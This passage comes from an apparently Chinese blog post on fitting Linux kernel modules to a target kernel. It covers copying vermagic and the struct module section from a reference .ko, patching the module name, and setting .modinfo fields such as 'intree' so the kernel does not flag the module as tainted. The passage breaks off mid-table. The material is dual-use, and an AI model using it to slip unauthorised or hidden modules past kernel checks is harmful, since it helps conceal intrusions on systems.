21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">include/linux/vermagic.h</span></code><span leaf=""> 的宏拼装决定：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="518" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// include/linux/vermagic.h</span></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> VERMAGIC_STRING                         \</span><span leaf=""><br/></span><span leaf="">    UTS_RELEASE </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; &#34;</span></span><span leaf="">                             \</span><span leaf=""><br/></span><span leaf="">    MODULE_VERMAGIC_SMP MODULE_VERMAGIC_PREEMPT \</span><span leaf=""><br/></span><span leaf="">    MODULE_VERMAGIC_MODULE_UNLOAD MODULE_VERMAGIC_MODVERSIONS \</span><span leaf=""><br/></span><span leaf="">    MODULE_ARCH_VERMAGIC                        \</span><span leaf=""><br/></span><span leaf="">    MODULE_RANDSTRUCT</span></span></code></pre><p data-line="528" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中每个宏是否展开取决于对应的 CONFIG 选项：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_SMP</span></code><p><span leaf=""> → </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;SMP &#34;</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_PREEMPT_BUILD</span></code><p><span leaf=""> → </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;preempt &#34;</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_MODULE_UNLOAD</span></code><p><span leaf=""> → </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;mod_unload &#34;</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_MODVERSIONS</span></code><p><span leaf=""> → </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;modversions &#34;</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MODULE_ARCH_VERMAGIC</span></code><p><span leaf=""> → ARM64 上是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;aarch64&#34;</span></code><span leaf="">，x86_64 上是空串</span></p></li></ul><p data-line="536" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个典型的 vermagic 长这样：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="538" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">6.19.11+kali-amd64 SMP preempt mod_unload</span></code></pre><p data-line="542" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">注意末尾的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod_unload</span></code><span leaf=""> 后面可能有一个空格（取决于宏展开时 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;mod_unload &#34;</span></code><span leaf=""> 的尾随空格），这个空格也参与比对。</span></p><p data-line="544" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">处理vermagic时不能在转换阶段猜测目标内核参数，而要从参考 .ko 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.modinfo</span></code><span leaf=""> 段中提取完整值，再完整覆写到目标。</span></p><p data-line="546" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 8：struct module 的大小和布局不可预测</span></p><p data-line="548" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code><span leaf=""> 是内核在内存里为每个模块维护的数据结构（定义在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">include/linux/module.h</span></code><span leaf="">，几百行的巨型结构体）。它的大小和字段布局完全取决于内核编译配置：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_MODULE_UNLOAD</span></code><p><span leaf=""> → 控制 exit 相关字段的存在</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_SYSFS</span></code><p><span leaf=""> → 插入 sysfs 属性字段</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_KALLSYMS</span></code><p><span leaf=""> → 增加符号表相关字段</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_TRACEPOINTS</span></code><p><span leaf=""> → 插入 tracepoint 字段</span></p></li><li><p><span leaf="">等等数十个 CONFIG 选项</span></p></li></ul><p data-line="556" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同一内核版本、不同 defconfig，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sizeof(struct module)</span></code><span leaf=""> 可能差几百到上千字节。</span></p><p data-line="558" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果一个 .ko 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code><span leaf=""> 段大小和目标内核不一致，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">layout_and_allocate()</span></code><span leaf=""> 在分配模块内存时会按内核自己的 sizeof 来布局，大小对不上会导致段覆盖或越界访问。</span></p><p data-line="560" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里直接从参考 .ko 复制整个 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code><span leaf=""> 段数据。参考 .ko 本就是用这个内核的 Kbuild 编译出来的，它的 struct module 一定正确。</span></p><p data-line="562" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模块名也在这个结构体里。但名字字段的偏移同样是内核版本决定的：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">内核版本/架构</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">名字偏移</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">x86_64 Linux 6.19</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ARM64 Linux 5.10 (Android 12)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24</span></p></td></tr></tbody></table><p data-line="569" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不硬编码偏移。在参考的 struct module 数据里搜索参考模块自己的名字字符串，定位到名字字段，然后在那里写入新的模块名。</span></p><p data-line="571" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 9：.modinfo 的字段规范</span></p><p data-line="573" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.modinfo</span></code><span leaf=""> 是一个嵌入在 ELF 段里的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">key=value\0</span></code><span leaf=""> 格式字符串表。内核通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">get_modinfo(info, &#34;字段名&#34;)</span></code><span leaf=""> 查找其中的键值对，比如前面看到的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">get_modinfo(info, &#34;vermagic&#34;)</span></code><span leaf="">。</span></p><p data-line="575" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须包含的字段（结合 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code><span leaf=""> 源码和内核约定）：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">字段</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">用途</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">谁使用</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内核版本 + 编译选项签名</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code><p><span leaf=""> 做严格比对</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">name</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">模块名称</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code><p><span leaf=""> 显示 / modprobe</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">license</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">许可证（如 GPL）</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内核限制 GPL-only 导出符号访问</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">intree</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">标记为树内模块</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code><p><span leaf=""> 检查，OOT 模块会污染内核</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 